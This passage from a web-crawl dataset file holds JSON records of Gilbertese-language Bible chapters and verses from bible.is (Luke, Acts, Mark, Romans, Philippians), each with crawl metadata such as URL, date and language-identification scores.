aron are E tua te Atua bwa e na koreaki, bwa a aonga n onimakinna ma n ongeaaba irouna. 27Ao ngkai, ibukin Iesu Kristo, ti a konaa n angan te Atua, are ti Ngaia ae e rabakau, te neboaki n aki toki. Amene.\nROM 16","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/16","date":"2014-07-22T13:39:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997858892.28\/warc\/CC-MAIN-20140722025738-00243-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":778,"character_repetition_ratio":0.101,"word_repetition_ratio":0.021,"special_characters_ratio":0.224,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:33Ngke e ongo te mataniwi arei taekan Iesu, ao e kanakoia aia unimwaane I-Iutaia tabeman bwa a na nako n Iesu, ao a na tuangnga bwa E na roko ni kamaiua ana toro. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/3","date":"2014-07-25T04:34:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997892806.35\/warc\/CC-MAIN-20140722025812-00086-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999753237,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.999975323677063}","num_words":49,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:2727Bwa e bon aoraki, ao e kuri ni mate; ma E nanoangaia te Atua, ao tiaki ti ngaia, ma E nanoangaai naba bwa e kaawa n reke irou te nanokaawaki ae moan te bati. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/27","date":"2014-07-29T04:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510265454.51\/warc\/CC-MAIN-20140728011745-00340-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000057220458984}","num_words":50,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E oki Iesu man te karaanga are te Ioretan ao E kaonaki n te Taamnei are e Raoiroi. E kairaki iroun te Taamnei nakon te rereua. 2Ao E tiku ikekei abwi te bong ni kariiriiaki iai iroun te riaaboro. Akea te baeE kanna i nanoni boong akanne; ao ngke a bane boong akanne, ao E rootaki n te baki. 3E taku te riaaboro nakoina, Ngkana Natin te Atua Ngkoe, ao taetae bwa e na riki n amwarake te atiibu aei. 4Ao Iesu E kaeka ni kaangai, E koreaki ae e kaangai, E aki maiu te aomata n ti te amwarake. 5Ao te riaaboro e kaira rake Iesu nakon te tabo ae e rietaata, ao e kaoti nakoina n te tai ae e waekoa aaba nako n te aonnaba, 6Ao e taku nakoina, N na anganiko aaba akekei ma tamaaroaia; bwa I a tia n anganaki, ao I konaa n anga nakon ane I kan anganna. 7Am bwai baikekei ni kabane ngkana Ko bobaraaki n taromauriai. 8Ao Iesu E kaeka ni kaangai, E koreaki ae kaangai, Ko na taromauriia te Uea ae Atuam, ao ko na toro irouna n ti Ngaia. 9Ao e kaira Iesu te riaaboro nako Ierutarem, ao e kateia i aon te tabo ae te kabanea n rietaata i taubukin te umwantabu, ao e taku nakoina, Ngkana Natin te Atua Ngkoe, ao Ko na ewe nako maikai; 10bwa e koreaki ae e kaangai, Ane E na tuangiia ana anera bwa a na kaawakiniko, 11ao ane a na uotiko i aoni baiia, bwa e kaawa n toki waem n te atiibu. 12Ao Iesu E kaeka ni kaangai, E atongaki ae e kaangai, Ko na aki kataa te Uea ae Atuam. 13Ao ngke a bane ana mwakuri ni kariirii te riaaboro, ao e kiitana Iesu ni karokoa manga reken ana tai ae e na angaraoi. 14Ao E okira Kariraia Iesu ni mwaakan ana kairiiri te Taamnei, ao e buta nako rongorongona i aoni Kariraia ao n taabo ake i rarikina. 15Ao E reirei ni mwaneabaia I-Iutaia, ao a bane aomata ni kamoamoaa. 16Ao E roko i Natareta, are te tabo are E kaikawaaki iai; ao n aron are E kaakaraoia, E nako ni mwaneabaia I-Iutaia, n te bong ae te taabati, 17ao E anganaki ana boki te buraabeti are Itaia. E kabwaraa te niira ni boki, ao e reke irouna te tabo are e koreaki iai ae e kaangai, 18E mena Taamnein te Uea i aou, ibukina bwa e a tia n rineai bwa N na tataekina te rongorongo ae e raoiroi nakoia akana aki kaubwai. E kanakoai bwa N na tuangiia ake a riki bwa taenikai kainaomataaia, ao ake a mataki bwa a na manga nooraaba, ao bwa N na buokiia ake a karawaawataaki bwa a na tokanikai i aoni baike a karawaawataaki iai, 19ao N na katanoataa ae e kaangai bwa n te ririki aei ao E na kaota ana aakoi te Atua nakoia aomata. 20E niira te boki Iesu, ao E a manga angan te tia kaawakinna, ao E tekateka; ao aomata ake a mena ikekei a bane ni katokai mataia n taraia. 21Ao ngkanne E taku nakoia, N te bong aei, ao e a kakoroaki iai nanon taeka aika koreaki n te mwakoro ni Baibara aei n aron are kam a tia n ongo iai ngke e warekaki. 22A bane aomata ni kaoti kukurein nanoia irouna n aia taeka, ao a miimii n taeka aika nako mai wiina bwa a kamaiu nano; ao a taku, Tiaki natin Iotebwa Teuaei? 23Ao E taku nakoia, ane kam na bon tabeki nakoiu mwanewen te taeka n rabakau ae e kaangai, Te tia katoki aoraki, kamaiuko; te baere ti ongo bwa Ko karaoia i Kaberenaum, ao Ko na karaoia naba ikai i abam. 24E a manga taku riki nakoia, E koaua ae I taku nakoimi, bwa akea te buraabeti ae e butimwaaeaki raoi n oin abana. 25Bon te koaua ae I tuangkami, bwa a mwaiti aine ake a mate buia i aon Iteraera n ana tai Eria, ngke e aki bwaka te karau i nanon tenua te ririki ao onoua namwakaina, ao e roko te rongo ae e korakora i aon te aba ni kabutaa; 26ao e kanakoaki Eria tiaki nakoia ni kabaneia ma ti nakon te aine are e mate buuna are e maeka i Tarebwata n te aba are Titon. 27Ao a mwaiti reebera i aon Iteraera n ana tai te buraabeti are Eritai, ma e kamaiuaki ti temanna mai buakoia bwa Naaman mai Turia. 28A rangi n un aomata ake a mena ni mwaneabaia I-Iutaia, ngke a ongo ana karaki aikai. 29Ao a tei rake, ao a kanakoa Iesu man te kaawa. A kairia nakon te tabo ae e katati ae rarikin te tabuki are e tei i aona aia kaawa, bwa a na karenakoa maiai. 30Ma E ri buakoia Iesu ao E nako. 31Ao E nako Kaberenaum are kawaani Kariraia, ao E reireia aomata iai n te taabati; 32ao a miimii n ana reirei, bwa e mwaaka ana taeka. 33Ao i nanoni mwaneabaia I-Iutaia, iai te aomata ae e reke irouna taamnein te taimonio ae e kamwaraa. E takaarua n te bwanaa ae e korakora ni kaangai: 34A! Tera am bwai iroura, Iesu ae te I-Natareta? Ko nako mai bwa Ko na uruira? I kinako bwa Teuare e Raoiroi, are mai iroun te Atua. 35Ma Iesu E takuia ao E taku, Tai karongoaa, ao oti nako mai irouna! Ao ngke e a tia te taimonio ni bouaa teuarei i mataia aomata ake a mena ikekei, ao e oti nako mai irouna n aki kaikoakia. 36A bane ni miimii aomata ao a i taetae irouia ni kaangai, Te aeka n taeka tera te baei? Bwa n ana konaa ao ni mwaakana, ao E tuangiia anti aika kamwaraa bwa a na oti nako, ao a ongo irouna. 37Ao e buta nako taekan Iesu ni kaawa ake i rarikini Kaberenaum. 38Ao E tei rake Iesu ao E kiitana mwaneabaia I-Iutaia, ao E rin n ana auti Timon. E aoraki tinani buun Timon n te kabuebue ae e korakora, ao a tuangnga bwa E na buokia. 39E tei Iesu ni kaan ma rarikina ao E taetae ma bwanaana ae e matoatoa nakon te kabuebue, ao e toki kabuebuen neierei; ao e tei rake naba ngkekei ao e touati irouia. 40Ngke e a bungi taai, ao a bane aomata ake iai irouia aia aoraki n uotiia nakoina; ao E katokai baina i aon temanna ma temanna ao a kamaiuaki. 41A oti nako naba taimonio mai irouia aomata aika bati, ao a takaarua ni kaangai: Bon Natin te Atua Ngkoe! Ma E takuia bwa a na akea te bwai ae a na taekinna, ibukina bwa a ataia n ae te Kristo Ngaia. 42Ngke e a ngaina, ao E nako Iesu nakon te tabo ae akea te maeka iai. A kakaaea aomata, ao ngke a roko irouna, ao a kan taua bwa E na aki nako mai irouia. 43Ma E taku nakoia, I riai n taekina te rongorongo ae e raoiroi ae taekan uean te Atua nakoni kaawa nako; bwa aei bukini kanakomaiakau. 44Ao E waakina taetaekinan ana taeka te Atua i nanoni mwaneabaia nako I-Iutaia i nanoni kaawa nako.\nRUKA 4","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/4","date":"2014-07-22T10:47:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997857714.64\/warc\/CC-MAIN-20140722025737-00087-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1199,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai teuana, ao E tataro Iesu n te tabo teuana; ao ngke E toki ana tataro, ao e taku ana reirei temanna nakoina, Te Uea, reireiniira te tataro n ai aron Ioane, ngke e reireiniia ana reirei. 2E taku Iesu nakoia, Ngkana kam tataro, ao kam na kaangai, Tamara: E na tabuaki aram e na roko Ueam 3Anganira karara ae ti kainnanoia n te bongi teuana ma teuana. 4Ao kabwarai ara bure, bwa ti kabwarai naba aia bure akana bure nakoira; ao tai kairiira nakon te kariiriiaki. 5Ao E a manga taku naba nakoia, Antai iroumi, ae iai raona, ae ko na kawaria n te nuukanibong, ao ko na kaangai nakoina, Raou, N na tangoi tennai am kariki; 6bwa iai raou ae e roko irou n ana tai ni mwananga, ao akea te bae I konaa n anganna bwa kanana; 7ao ngaia, e kaeka mai nanon te auti ni kaangai, Tai nako mai n aki karaua matuu; e a in ngkai te mataroa, ao ae I a matuu ma natiu. I aki konaa n tei rake n anganiko te bae ko tangiria. 8I taku nako imi bwa tao e na aki tei rake n anganna ibukina ngke raaraona; ma ibukini kabatiaan ana buubuti, ao e na tei rake n anganna te baere e kainnanoia. 9Ao I taku nako imi, Bubuti, ao ane kam na anganaki; ukeuke, ao ane kam na kareereke; karebwerebwe, ao ane e na kaukaki nako imi. 10Bwa ane e buubuti ao e na anganaki, ao ane e ukeuke ao e na kareereke, ao e na kaukaki te mataroa nakon ane e karebwerebwe. 11Antai te karo i buakomi, ngkana e butiaki te ika iroun natina ao e anganna te naeta bwa oneani mwiin te ika? 12Ke ngkana e buubuti te bunimoa, ao e anganna te tikaobian? 13Ngkai kam ataa te angania natimi, ngkami aika a kam buaakaka, baika a raraoi, ao tiaki e mwaiti riki iroun Tamami are i karawa te kan anga te Taamnei are e Raoiroi nakoia akana butiia! 14E kanakoa te taimonio ae e aki konaa n taetae Iesu; ao ngke e nako ao e taetae teuare e bae newena; ao a miimii aomata. 15Ma a taku temwaangina i buakoia, E kanakoia taimonio iroun Beretebubwa, are aia uea taimonio; 16ao temwaangina, a butiia Iesu te kanikina mai karawa, bwa a kan noora mwaakana. 17Ma E atai aia iango Iesu, ma ngaia are E taku nakoia, Te tautaeka ae e bwenaua nakoni mwakoro aika kakaokoro, ngkana a eekiia nako i bon irouia, ao e na aki tei maan te tautaeka anne. 18Ao ngkana e a manga bon eekia nako Tatan i bon irouna, ao e na kangaa n tei ueana? I taekina aei ibukin ae kam taku bwa I kanakoia taimonio irouni Beretebubwa. 19Ao ngkana I kanakoia taimonio irouni Beretebubwa, ao natimi a kanakoia iroun antai? Ma ngaia are ibukin aei, ao a na riki natimi bwa taani motiki-taekami. 20Ma ngkana ni mwaakan te Atua ae I kanakoia iai taimonio, ao nanona ngkanne bwa e a roko uean te Atua i aomi. 21Ngkana e kaawakina mwengana te aomata ae e aintoa, ae e tauraoi ma ana bwai n un, ao a rau ana bwai; 22ma ngkana e niniaki iroun ae e aintoa riki nakoina ao e konaaki irouna, ao teuanne e na anai ana bwai n un teuare e konaaki, ake e onimakin, ao e na tibwatibwai nakoia raona. 23Ane e aki mena irou, ao e rawa nakoiu; ao ane e aki uaia ni bobooti ma Ngaia, ao e kamaae nako. 24Ngkana e a tia n oti nako te anti are e buaakaka mai iroun te aomata, ao e nako n ri nuukan taabo ake a rereua n ukoukora ana tabo ni motirawa iai; ao ngke akea ae e kunea, ao e taku, N na manga okira te auti are I a tia nako ngkoa maiai. 25Ngke e roko iai, ao e kunea bwa e a tia ni kaitiakaki ao a baaireaki raoi bwain nanona. 26Ao ngkanne, e nako ni kairiia itiman riki anti aika buaakaka riki nako ina, ao a rin ni maeka ikekei; ao e a buaakaka riki aron te aomata arei nakon are rimoa. 27Ngke E tia n atongi taeka akekei Iesu, ao e kanenea bwanaana te aine temanna i buakon te koraki arei, ao e taku nakoina, E a kabwaia te biroto are e bungiko ao mamma ake Ko mammai. 28Ao Ngaia E kaangai, Te koaua, ma a kabwaia riki akana ongo ana taeka te Atua ao a kaawakinna. 29Ngke a baneakina Iesu aomata aika mwaiti, ao E taku, Te roro aei bon te roro ae e buaakaka; a ukoukora te kanikina, ma akea ae a na anganaki, bwa ti te kanikina are e kaotia Iona. 30Bwa aron te baere e karaoia Iona ngke e riki bwa te kanikina nakoia I-Ninewe, ao ai aron naba are E karaoia Natin te Aomata, e na riki bwa te kanikina nakoia te roro aei. 31Ane e na kaoti ueani maiaki te aine n te bongi ni motiki-taeka ma kaain te roro aei, ao ane e na kabuaakakaia; bwa e nako mai neierei man te tabo ae te kabanea n raroa bwa e na ongoraa n rabakaun Toromon, ao nooria, iai ikai ae e kakannato riki nakon Toromon. 32Ane a na kaoti I-Ninewe n te bongi ni motiki-taeka ma kaain te roro aei, ao ane a na kabuaakakaia; bwa a rairi nanoia n ana kabwarabwara Iona, ao nooria, iai ikai ae e kakannato riki nakon Iona. 33Akea ane e kauraa te taura ni kaaki n te tabo ae e raba i nanon te auti ke i aan te bwaketi, ma e kaaki i aoni nnena, bwa a aonga n noora te oota aomata ake a rin. 34Matam, kaanga ai aron te taura ibukin rabwatam; ngkana e raoiroi matam, ao e buta rabwatam ni kabanea n te oota; ma ngkana e aki raoiroi, ao e buta rabwatam ni kabanea n te roo. 35Ma ngaia ae ko na taraia raoi ngkanne bwa te oota ane i nanom tiaki te roo. 36Ngkana arona ngkanne bwa e buta rabwatam ni kabane n te oota n akea maiai ae e roo, ao e na tabwanin raoi ootana, n ai aron uran te taura ae e anganiko ootana. 37Ngke E tia n atongi baikekei Iesu, ao E kaoaki iroun te Bwaritaio temanna bwa E na amwarake ma Ngaia; ma ngaia are E rin n ana auti ao E tekateka n rarikiriki bwa E na amwarake. 38E miimii te Bwaritaio ngke E aki teboki moa baina Iesu i mwaain te amwarake. 39Ao E taku te Uea nakoina, Ngkami aika Bwaritaio, kam kaitiaka tinanikun te mwangko ma te raurau, ma a on nanomi n tangiran te kan tautaeka ma te kani kaubwai, ao te buaakaka. 40Ngkami aika baaba! Teuare e karaoa tinanikun te bwai, tiaki Ngaia naba are E karaoa nanona? 41Ma kam anga bwai ake i nanon ami mwangko ma ami raurau bwa bwaai n akoi; ao nooria, a bane n itiaki bwai ni kabane i bukimi. 42Ma a na reke kaimi Bwaritaio! Bwa kam anganaga teuana te katebwina ni mwakoro man aroka aika te minte, te rue, ao aroka aika boiarara baaia, ao kam aki karaoa nanon te eti ma ana tangira te Atua; baikai aika kam riai ni karaoi, n aki kaaki taekaia akekei. 43A na reke kaimi Bwaritaio! Bwa kam tangiri kaintoka aika moan raraoi i nanoni mwaneabaia I-Iutaia, ao kam tangiri katei ni karinerine n taabo ni mwaakete bwa a na karaoaki nakoimi. 44A na reke kaimi! Bwa kaanga ai aroni nneia maate ngkami ake a aki nooraki; a nakonako i aoia aomata bwa a aki ataia. 45E kaeka te rooia temanna ao e kaangai, Te Tia Reirei, Ngkai Ko taekin am taeka akanne ao Ko kabuaakakaira naba iai. 46Ao E taku Iesu, A na reke kaimi naba ngkami rooia! Bwa kam kaaki i aoia aomata uota aika kamaamate, ao ngkami, a aki bo naba teutana taboni baimi ma ngaai. 47A na reke kaimi! Bwa kam karaoi mwakuri ni katamaaroa nakon ruanimateia buraabeti, are te koraki ake a tiringaki irouia ami bakatibu. 48Ma ngaia ae taani kakoaua ngkami nakon aia mwakuri ami bakatibu, ao kam kariai baike a karaoi: bwa a kamateia, ao kam karaoi ruanimateia. 49Ma ngaia are e taku te taeka are e koreaki n te boki are Rabakaun te Atua, N na kanakoia buraabeti ma taan tuatua nakoia, ao ane a na kamateia temwaangina, ao a na bwainikiriniia temwaangina; 50bwa e tangiraki man te roro aei booni mwiin raraaia buraabeti ni kabaneia, ake a kawawaaeaki ma ngke e moani karikaki aonnaba: 51man te tai are e bwaka iai raraan Abera nakoni bwakan raraan Takaria, are e mate i marenan te baonikarea ma te umwantabu. Eng, I tuangkami, bwa ane e na tangiraki boona mai irouia kaain te roro aei. 52A na reke kaimi rooia! Bwa kam a tia n uota nako kiingini mataroan te atatai; kam aki rin ngkami ao kam tukiia te koraki ake a kan rin. 53Ngke E oti nako Iesu man te tabo arei, ao taani koroboki ma Bwaritaio, a kaunuuniia nakoina, ao a kabatiai aia taeka n eekia nako bwa E aonga n taekini baika a bati. 54A kani kamwanea ngkana iai buren ana taeka.\nRUKA 11","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11","date":"2014-07-24T00:17:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997883905.99\/warc\/CC-MAIN-20140722025803-00005-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1536,"character_repetition_ratio":0.041,"word_repetition_ratio":0.004,"special_characters_ratio":0.236,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mwaane, taari, ao taama, kam na ongoraa n au taekanakoimi ae e na kaota arou bwa I aki bure. 2Ao ngke a ongo bwa e taetaenakoia n te taetae n Ebera, ao a kainabwaabu riki; ao e taku, 3Bon te aomata ae te I-Iutaia ngai, ae I bungiaki i Tareto are i Kirikia, ma I ikawai rake n te kaawa aei, ao I reireiaki irouni Kamariera. I reireiaki n aia tua ara bakatiibu n arona ni kabanea, ao e bane nanou nakon te Atua, n ai aromi naba ni kabaneingkami n te bong aei. 4I bwainikiriniia kaain te Aro aei, ao I kareke naba mateia. I kabaeia mwaane ma aine, ao I kaakiia i nanoni karabuuti, 5n ai aron are a konaa ni kakoauaa aia mataniwi ibonga ma te bootaki n unimwaane; I karekea naba mai irouia reeta nakoia taari i Taamateko, ao I mwananga nako ikekei bwa N na tauuiia iai, ao N na kabaeiia ni kairiia nako Ierutarem, bwa a na karekeaki kaiia. 6Ma e riki te bwainakoiu, bwa ngke I tabe ni mwananga ni kaania Taamateko, ngke tao e a tawanou, ao e a karina naba n oota mai karawa te oota ae e abwaabwaki ni katoobibiai. 7I bwaka i aontano, ao I ongo te bwanaa ae e kaangainakoiu, Tauro, Tauro, e aera ngkai ko bwainikiriinai? 8Ao I kaeka ni kaangai, Te Uea, antai Ngkoe? Ao Ngaia E takunakoiu, Iesu Ngai are te I-Natareta, are ko bwainikirinna. 9A noora te oota arei raou, ma a aki ongo bwanaan Teuare e taetae nako iu. 10I a titirakinna ngkanne, ni kaangai, Te Uea, tera ae N na karaoia? Ao E taku te Uea nako iu, Tei rake, ao naako Taamateko; ao ane ko na tuangaki iai bwaai ni bane ake a a tia ni baaireaki i bukim bwa ko na karaoi. 11Ma ibukina ngke I a aki nooraaba ibukin raneanean te oota arei, ao a kairiirai ni baiia uaake raou, ao I roko i Taamateko. 12Iai te aomata ae Anania, ae e tataromauriia te Atua, ae e ongeaaba nakon te tua, ao e atoatongaki bwa e raoiroi irouia I-Iutaia ni kabaneia ake a maeka ikekei, 13e roko irou, n tei i rarikiu, ao e takunakoiu, Tauro, ae tariu, ko na nooraaba. Ao I a nooraaba naba ngkekei, ao I taraia. 14Ao e taku, E a tia n rineiko Atuaia ara bakatibu bwa ko na ataa nanona are e na karaoaki, ma n noora Teuare e Atataiaomata, ma n ongo te bwanaa mai wina; 15bwa ane ko na riki bwa ana tia kaotioti nakoia aomata ni kabaneia ni baike ko noori, ma n ongo. 16Ao tera ae ko kaantaningaia ngkai? Tei rake, ao ko na bwaabetitooaki ma ni kaitiakaki man am bure, ni mwanewean aran te Uea. 17I a manga oki nako Ierutarem, ao ngke I kume n tataro n te umwantabu, ao kaanga ai aron ae I mi: 18I noora Teuarei ngke E takunakoiu, Bareiko, ao kawaetatako ni kiitana Ierutarem, bwa a rawa aomata ikai ni butimwaaea am kaotioti i bukiu. 19Ao ngai I taku, Te Uea, a bon ataai bwa I kariniia n te karabuuti ake a onimakiniko, ao I kataereia ni mwaneabaia nako I-Iutaia; 20ao ngke e tiringaki Tetebano are e tataetae i bukim, ao ngai naba are I tei ni kakoauaa bwa e bon riai matena, ao I kaawakini kunnikaiia ake a kamatea. 21Ao Ngaia E takunakoiu, Naako, bwa N na kanakoko nako kiiraroa nakoia aomata aika tiaki I-Iutaia. 22A ongoraa aomata irouni Bwauro ni karokoa e atongi taeka aikai, ao a kanene ngkanne bwnaaia, ni kaangai, Kamatea, bwa te aomata ae ai aron teuaei e aki riai bwa e na maiu. 23Ao ngke a takaarua ma n raeuai kunnikaia ma ni kaaurakea te tano, 24ao e anga ana taeka aia mataniwi tautia bwa e na kairaki Bwauro nako nanon nneia tautia are e matoatoa, ao e tua bwa e na kataereaki ni kakaaeaki mai irouna bwa tera ana bure are a takaaruaia iai aomata n ekia nako, bwa e aonga n ataia raoi. 25Ma ngke a kabaea Bwauro n roo aika kaau, ao e taku nakoni mataniwiin te taanga ni buaka are tebubua kaaina are e tei ni kaan, E kariaiaki bwa kam na kataerea te aomata ae te I-Rom ae e tuai ni motikaki taekana? 26Ngke e ongo mataniwiin te taanga ni buaka are tebubua kaaina, ao e nako n tuanga aia mataniwi tautia, ao e kaangai, Tera ae ko nang karaoia? Bwa te I-Rom te aomata arei! 27E nako ngkanne aia mataniwi tautia ni kawara Bwauro, ao e titirakinna, Ko na tuangai, te I-Rom ngkoe? Ao ngaia e kaangai, Eng. 28Ao e taku aia mataniwi tautia, I kabooa kan rikiu bwa kaain Rom n te mwane ae e bati. Ao e taku Bwauro, Ma ngai boni kaaina ma ngke I bungiaki. 29Ma ngaia are a waekoa naba ni mwaawa mai irouna te koraki ake a na ukoukora taekana; ao e maaku naba aia mataniwi tautia ngke e ataa Bwauro bwa te I-Rom, ibukina ngke e a tia ni kabaea. 30Ngke e a ingabong, ao e kan ataa koauanibukin are e bukinaki iai Bwauro irouia I-Iutaia teuare aia mataniwi tautia; ma ngaia are e kabwaraa Bwauro, ao e tuangiia ibonga ake mataniwi ma kaain te Tanirim ni kabaneia bwa a na bootaki; ao e kaira rio Bwauro, ao e kaaki i mataia.\nMWAKURI 22","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/22","date":"2014-07-11T08:39:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776426419.6\/warc\/CC-MAIN-20140707234026-00079-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":889,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:2828Kam na karekea reireiami man te kai ae te biiku. N te tai are e ubuubu iai naba mwaangana ao a kaoti baana, ao kam a ataia iai bwa e a kaan taini bongin te kabuebue; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/28","date":"2014-07-26T15:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997902579.5\/warc\/CC-MAIN-20140722025822-00128-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999859333,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.999985933303833}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai Bwaritaio tabemwaang ma taani koroboki ake a roko mai Ierutarem, ao a bootaki ma Iesu. 2A nooriia tabemwaang i buakoia ana reirei Iesu bwa a amwarake ma baiia aika a aki itiaki, bwa a tuai n teboki n ai aron are a tataneiai iai Bwaritaio- 3bwa a aki konaa n amwarake Bwaritaio ma I-Iutaia ni kabaneia ngkana a aki teboki moa baiia n ai aron aia taeka n reirei aia bakatibu; 4ao a aki kana naba te amwarake teuana ae e karekeaki n te mwaakete ngkana a tuai ni kaitiakia moa n ai aron taekana n aia taeka n reirei aia bakatibu. Ao a bati riki tuua ake a anganaki bwa a na tauu, n aron te teboteboki mwangko ma bwaata ma boora aika a karaoaki mani bititaom, ma nne ni wene. 5Ao Bwaritaio ma taani koroboki a titirakina Iesu ni kaangai, A aera am reirei ngkai a aki tou mwiin aia taeka n reirei ara bakatibu, bwa a amwarake ma baiia aika a tuai ni kaitiakaki? 6E kaekaia Iesu ao E taku, E eti ana taeka Itaia ngke e taetae ni buraabeti i bukimi ngkami aika taani mwaamwanaa-te-aba, ngke e kaangai, E taku te Atua, A karineai aomata aikai n aia taeka, ma a raroa nako nanoia mai irou; 7akea nanon aia taromauri ibukina bwa a reirei taekan tuua ake a karaoi aomata bwa aongkoa ana tua te Atua! 8Kam rawa nakon ana tua te Atua, ao kam ongeaaba nakon aia taeka n reirei aomata. 9Ao E a manga taku nakoia, Kam rabakau aromi ni kaaki taekan ana tua te Atua, bwa kam aonga ni kaawakin aia taeka n reirei ami bakatibu. 10Bwa e taku Mote, Karinea tamam ma tinam; ao e a manga taku naba, Ane e tabeki taeka aika a buaakaka ibukin tamana ke tinana, ao ke e mate. 11Ma kam taku, Ngkana e kaangai te aomata nakon tamana ke tinana, Te bwai are ko na karekea mai irou bwa am bwai boni Koreban, ae nanona, Ae e anganaki te Atua, 12ao kam kataua bwa e na aki manga karaoa te bwai teuana rimwi ibukin tamana ke tinana. 13Ao aei te katei are e a kaakeaaki iai ana taeka te Atua ibukin ami taeka n reirei nakoia aomata. Ao a mwaiti riki bwaai aika ai aron aei ae kam karaoi. 14E a manga weteia aomata nakoina, ao E taku nakoia, Kam na bane n ongoraa irou, ao kam na ataa nanon te bwai ae N na taekinna. 15Akea te bwai ae e rin nako nanon te aomata mai tinanikuna ae e na konaa ni kamwaraaea te aomata anne; ma bwaai aika a oti nako mai iroun te aomata, boni ngaai aika a kamwaraaea. 17Ngke E kiitaniia aomata ao E rin n te auti, ao ana reirei a tuangnga bwa E na kaota nakoia nanon te taetae ni kabootau arei. 18Ao E taku nakoia, Ao ngkami, kam aki ataa naba nanona? Kam aki ataia bwa te bwai ae e rin nako nanon te aomata mai tinanikuna e aki konaa ni kamwaraaea, 19bwa te bwai anne, e rin nako nanoni birotona, ma e aki rin nako i nanona, ao e oti nako ni kawaina. E atonga aei Iesu ni kaotia bwa a konaa ni kanaki amwarake nako.7 20Ao E taku, Te bwai ae e oti nako mai iroun te aomata, boni ngaia ae e kamwaraaea te aomata. 21Bwa a oti nako mai nanon te aomata ao man ana iango, naano aika a buaakaka, ake a kairia bwa e na karaoi baika a buaakaka: bwa e na wene ni bure ma aika akea buia, e na kimoa, ao e na tiritiri; e na wene ni bure ma aika iai buia, 22ao e na mataai ni kani bwaibwai, ao e na karaoi nako baika a buaakaka; e na bwaina te kewe, ma te maiu ae e aki kani kaetaki, ma te bakantang, ma te taekin taeka ake e na kabuaakakaaki iai te aomata, ma te kainikatonga; ao e na karaoi baika e na atongaki iai bwa e baba. 23Baikai ni kabane a a nako mai nanon te aomata, ao a kamwaraaea. 24E kiitana te tabo arei Iesu, ao E nako n te tabo ae e kaani ma te kaawa ae Tuuro E rin i nanon te auti teuana, ao E aki tangira temanna bwa e na ataia ae E mena ikekei; ma E aki konaa n ae E na raba. 25Ao te aine temanna ae iai natina te teinaine ae e taniaki iroun te taamnei ae e kamwaraa, e ongo taekan Iesu ao e nako ni kawaria ngkekei naba, ao e bwaka i 